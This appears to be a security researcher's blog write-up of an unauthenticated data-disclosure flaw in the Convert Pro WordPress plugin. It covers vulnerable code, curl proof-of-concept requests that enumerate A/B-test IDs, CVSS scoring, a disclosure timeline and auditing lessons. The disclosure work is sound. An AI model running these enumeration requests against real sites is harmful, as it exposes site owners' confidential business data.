Press enter or click to view image in full size
This is a write-up of a vulnerability I independently discovered in Convert Pro (WordPress.org slug: convertpro), an A/B testing and conversion-optimization plugin, in version 1.0.1. The bug allowed anyone on the internet, with no account and no authentication of any kind, to pull the full analytics of every A/B test a site was running or had ever run — test names, variation names, and complete view/conversion statistics — simply by requesting a URL with a sequential integer in it.
I discovered this independently and reported it to WPScan the same day. WPScan came back with a duplicate: another researcher had already reported the same root cause, and it was already in their review queue. I’m publishing this write-up anyway, because the pattern behind the bug is one I think is worth understanding on its own, separate from who ends up with the CVE credit for it.
Background: Why This Plugin
My research methodology follows a fixed pipeline for every plugin I audit: export the trunk from the WordPress.org SVN repository, grep for every hook WordPress provides for exposing functionality externally (wp_ajax_, wp_ajax_nopriv_, register_rest_route, add_menu_page), and manually trace each candidate against a strict checklist before touching a live environment. I don't spin up a Docker proof-of-concept until static analysis has already found something real — testing dead ends wastes the one resource that actually matters in this kind of work: attention.
Convert Pro came up in a batch of A/B-testing and conversion-optimization plugins I was working through. This category is worth paying attention to because it sits at an odd intersection: these plugins store genuinely business-sensitive configuration — pricing experiments, discount strategy, campaign names — but are frequently built by small teams who treat their internal AJAX layer as “just for our own dashboard,” rather than as a public attack surface that anyone can reach directly.
Convert Pro registers a long list of AJAX actions in a single file, includes/function.php — creating tests, saving settings, running comparisons, fetching chart data for the admin dashboard. Most of them followed a consistent, correct pattern: check_ajax_referer() for CSRF protection. That consistency is exactly what made the two exceptions stand out immediately.
Understanding the Architecture
The plugin’s primary settings-save handler looked exactly like what you’d want to see in a well-built plugin:
add_action('wp_ajax_convertpro_ajax_action', 'convertpro_ajax_request');
add_action('wp_ajax_nopriv_convertpro_ajax_action', 'convertpro_ajax_request');
function convertpro_ajax_request() {
check_ajax_referer('convertpro_nonce', 'security');
// ...
}Nonce-gated, exactly as it should be — this handler runs on the frontend to record which variation a visitor saw, so it does need to be public, but at least it enforces a CSRF token before acting.
Further down the same file, two other actions were registered with the identical wp_ajax_nopriv_ pattern, but their purpose was completely different:
add_action('wp_ajax_convertpro_interactions_report_ajax', 'convertpro_interactions_report_ajax');
add_action('wp_ajax_nopriv_convertpro_interactions_report_ajax', 'convertpro_interactions_report_ajax');add_action('wp_ajax_convertpro_get_chart_data', 'convertpro_get_chart_data');
add_action('wp_ajax_nopriv_convertpro_get_chart_data', 'convertpro_get_chart_data');These aren’t visitor-tracking endpoints — they’re reporting endpoints. They read back the data the tracking endpoints write. And they were registered exactly as public as the tracking side, with no distinction between “anyone can tell us they saw a page” and “anyone can read our entire testing history.”
The Vulnerability: Two Endpoints, Zero Gates
Reading both function bodies confirmed the issue immediately.
function convertpro_interactions_report_ajax() {
if ( !isset( $_GET['id'] ) )
return false;
ob_start();
convertpro_interactions_report_html();
wp_send_json( ob_get_clean() );
}That’s the entire access check: does a GET parameter named id exist. No nonce verification. No current_user_can(). No check that the requested test belongs to anyone in particular — because there's no concept of "belongs to" being enforced at all.
convertpro_interactions_report_html() pulls the test's variations through the plugin's internal repository class, then for each variation calls two helper functions:
function convertpro_get_views($test_id, $variation_id, $range = 7) {
global $wpdb;
$table_name = $wpdb->prefix . 'convertpro_interactions';
$views_query = "SELECT COUNT(*) FROM {$table_name} WHERE splittest_id = %d AND variation_id = %d";
// range clause appended, then run through $wpdb->prepare()
return $wpdb->get_var($views_query);
}function convertpro_get_conversion($test_id, $variation_id, $range = 7) {
// identical shape, filtered to type = 'conversion'
}These queries are properly parameterized — there’s no SQL injection here. That’s worth being precise about, because it would have been easy to assume the worst from unauthenticated database access; the actual issue is narrower and specific: the query itself is safe, but nothing upstream ever checks whether the caller is allowed to run it.
The second function follows an identical shape:
function convertpro_get_chart_data() {
if (isset($_GET['range'])) {
$test_id = isset($_GET['id']) ? sanitize_text_field(wp_unslash($_GET['id'])) : false;
$range = isset($_GET['range']) ? sanitize_text_field(wp_unslash($_GET['range'])) : '';
$results = convertpro_interactions_chart_query($test_id, $range);
// ... builds Chart.js-formatted datasets and returns them via wp_send_json()
}
}Same pattern: inputs are sanitized, the SQL is parameterized, and there is no authentication or authorization check anywhere in the call chain. Both handlers query three internal tables — the split-test definitions table, the variations table, and the interactions (views/conversions) table — and hand the results straight back to whoever asked, session or no session.
Because test_id and variation_id are auto-increment integers assigned in creation order, an attacker doesn't need to guess or know anything specific about a target site. Requesting id=1, id=2, id=3, and so on against admin-ajax.php enumerates every A/B test the site has ever configured, active or archived.
Live Proof of Concept
I reproduced this in a local Docker environment running WordPress with WooCommerce active and Convert Pro 1.0.1 installed.
Get Shikhali Jamalzade’s stories in your inbox
Join Medium for free to get updates from this writer.
Setup: I seeded a realistic split-test directly through the plugin’s own database schema — a pricing-page discount test with two variations and simulated view/conversion traffic — to confirm the full data path end-to-end rather than just an empty-state response.
Press enter or click to view image in full size
wp eval '
global $wpdb;
$wpdb->insert($wpdb->prefix."convertpro", array(
"active" => 1,
"name" => "Pricing Page Discount Test - Q3 Confidential",
"test_type" => "split",
"test_uri" => "/pricing",
"conversion_type" => "page",
"conversion_page_id" => 1,
"created_at" => current_time("mysql"),
));
$test_id = $wpdb->insert_id;$wpdb->insert($wpdb->prefix."convertpro_variations", array(
"active" => 1, "name" => "Control (No Discount)", "percentage" => 50,
"splittest_id" => $test_id, "created_at" => current_time("mysql"),
));
$var1 = $wpdb->insert_id;$wpdb->insert($wpdb->prefix."convertpro_variations", array(
"active" => 1, "name" => "Variant B (20% Off)", "percentage" => 50,
"splittest_id" => $test_id, "created_at" => current_time("mysql"),
));
$var2 = $wpdb->insert_id;for ($i=0; $i<50; $i++) {
$wpdb->insert($wpdb->prefix."convertpro_interactions", array(
"client_id" => "client_$i", "type" => "view",
"splittest_id" => $test_id, "variation_id" => ($i % 2 == 0 ? $var1 : $var2),
"created_at" => current_time("mysql"), "updated_at" => current_time("mysql"),
));
}
for ($i=0; $i<10; $i++) {
$wpdb->insert($wpdb->prefix."convertpro_interactions", array(
"client_id" => "client_conv_$i", "type" => "conversion",
"splittest_id" => $test_id, "variation_id" => ($i % 2 == 0 ? $var1 : $var2),
"created_at" => current_time("mysql"), "updated_at" => current_time("mysql"),
));
}
'
Exploit: no cookies, no login, no nonce — a bare, unauthenticated GET request.
Press enter or click to view image in full size
curl "http://TARGET/wp-admin/admin-ajax.php?action=convertpro_interactions_report_ajax&id=1"Response:
<div class="convertpro-fullreport">
<table>
<tr><th>Variation</th><th>Percentage</th><th>Views</th><th>Conversions</th><th>Conversion Rate</th></tr>
<tr><td>Control (No Discount)</td><td>50</td><td>30</td><td>5</td><td>16%</td></tr>
<tr><td>Variant B (20% Off)</td><td>50</td><td>30</td><td>5</td><td>16%</td></tr>
</table>
</div>And the second endpoint, equally unauthenticated:
Press enter or click to view image in full size
curl "http://TARGET/wp-admin/admin-ajax.php?action=convertpro_get_chart_data&id=1&range=7"Response:
{
"labels": ["2026-07-16"],
"datasets": [
{"label": "Variant B (20% Off)", "data": {"2026-07-16": "30"}, "backgroundColor": ["#3BCB38"]},
{"label": "Control (No Discount)", "data": {"2026-07-16": "30"}, "backgroundColor": ["#3767FB"]}
]
}No authentication artifact of any kind appears in either request. The test’s internal name — “Pricing Page Discount Test — Q3 Confidential” — and both variation labels, including the exact discount being trialed, come back in plaintext to a completely anonymous caller.
Impact Assessment
The impact here is a confidentiality problem, but a business-facing one rather than a personal-data one, which makes it easy to underrate on first read.
Test and variation names in Convert Pro are free-text labels the site owner writes themselves, and in practice those labels routinely encode strategy — what’s being tested, what the offer is, sometimes an internal codename for a campaign that hasn’t launched publicly yet. An unauthenticated visitor, or a competitor doing this deliberately, can enumerate every test on a site by walking sequential integers and receive back the test name, every variation’s name, and the full view/conversion breakdown per variation. For a site actively split-testing pricing or promotions, that’s a direct window into decisions the business hasn’t made public yet.
The required access level is Unauthenticated — the lowest possible bar. No account, no session, no CSRF token. Just a URL.
Working out a CVSS 3.1 vector: the vulnerability requires no privileges (PR:N) and no user interaction (UI:N), is remotely exploitable over the network (AV:N) with low attack complexity (AC:L), and the impact is confined to confidentiality of business configuration data with no integrity or availability effect (C:L/I:N/A:N). I'd place this at roughly 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) — real and remotely trivial to exploit, but bounded: no PII, no credentials, no write access, just business data that shouldn't have been public.
Disclosure Timeline
- 2026–07–16 — Discovery and full proof-of-concept confirmed for both endpoints.
- 2026–07–16 — Vendor (WP Grids) notified. I could not find a dedicated security contact or public email for the developer, so I submitted the report through their official support contact form (wpwand.com/support), describing the vulnerability class and requesting a private channel for full technical details.
- 2026–07–16 — Submitted to WPScan the same day for CVE tracking.
- 2026–07–16 — WPScan responded: the submission was rejected as a duplicate. The same root cause — unauthenticated disclosure via these two AJAX actions, under the plugin’s former name (EasyTest) — had already been reported by another researcher and was already under active review.
I want to be direct about that outcome rather than smooth it over. This was independent discovery on my end — found through the static-analysis pipeline described above, with no knowledge of the earlier report — but WPScan’s process correctly treats duplicate root causes as a single tracked issue regardless of who found it second. That’s the right call for maintaining their database, even though it means this particular finding doesn’t carry a CVE credit under my name. I’m publishing the write-up regardless, because the underlying pattern is genuinely useful to know how to spot, and because site owners running this plugin deserve to understand the risk regardless of which submission ends up being the one of record.
What This Teaches
A few things are worth naming explicitly from this one.
A wp_ajax_nopriv_ hook is a decision that needs a second reviewer. Registering an action as public is sometimes completely correct — visitor-facing tracking pixels, public forms, anything a logged-out user genuinely needs to trigger. But every nopriv registration should force the question: what does this handler expose, and would I be comfortable with that being public with zero context attached? In Convert Pro, the write-side tracking endpoints legitimately need to be public. The read-side reporting endpoints do not — and somewhere during development, the same nopriv pattern was almost certainly copied from the tracking handlers over to the reporting handlers, most likely because both needed to work from the plugin's own frontend widget, without anyone re-asking who else could reach that same URL.
Consistency inside a codebase is a signal, and inconsistency is a bigger one. Convert Pro’s primary settings-save action had textbook CSRF protection. That told me the developer understood nonces and used them correctly elsewhere in the plugin. The complete absence of any protection on the two reporting endpoints wasn’t a knowledge gap — it strongly suggests two endpoints written separately, likely for the plugin’s own internal chart widget, that were never revisited against the security pattern used in the rest of the file.
Auto-increment IDs turn “missing authorization” into “walk the whole database.” The vulnerability isn’t made worse by sequential IDs — sequential IDs are exactly what turns a theoretical single-record leak into a practical, complete-enumeration leak. When you find an endpoint with no auth check during a plugin audit, always ask the immediate follow-up: is the identifier it accepts guessable or enumerable? If yes, the severity conversation changes even though the underlying fix — adding a capability check — is identical either way.
Duplicate findings are still worth writing up. Independently arriving at an already-known issue isn’t wasted effort. It confirms the vulnerability is real and reachable through more than one line of reasoning, and — as I hope this piece shows — the methodology behind finding it carries value on its own, separate from whichever submission ends up credited with the CVE.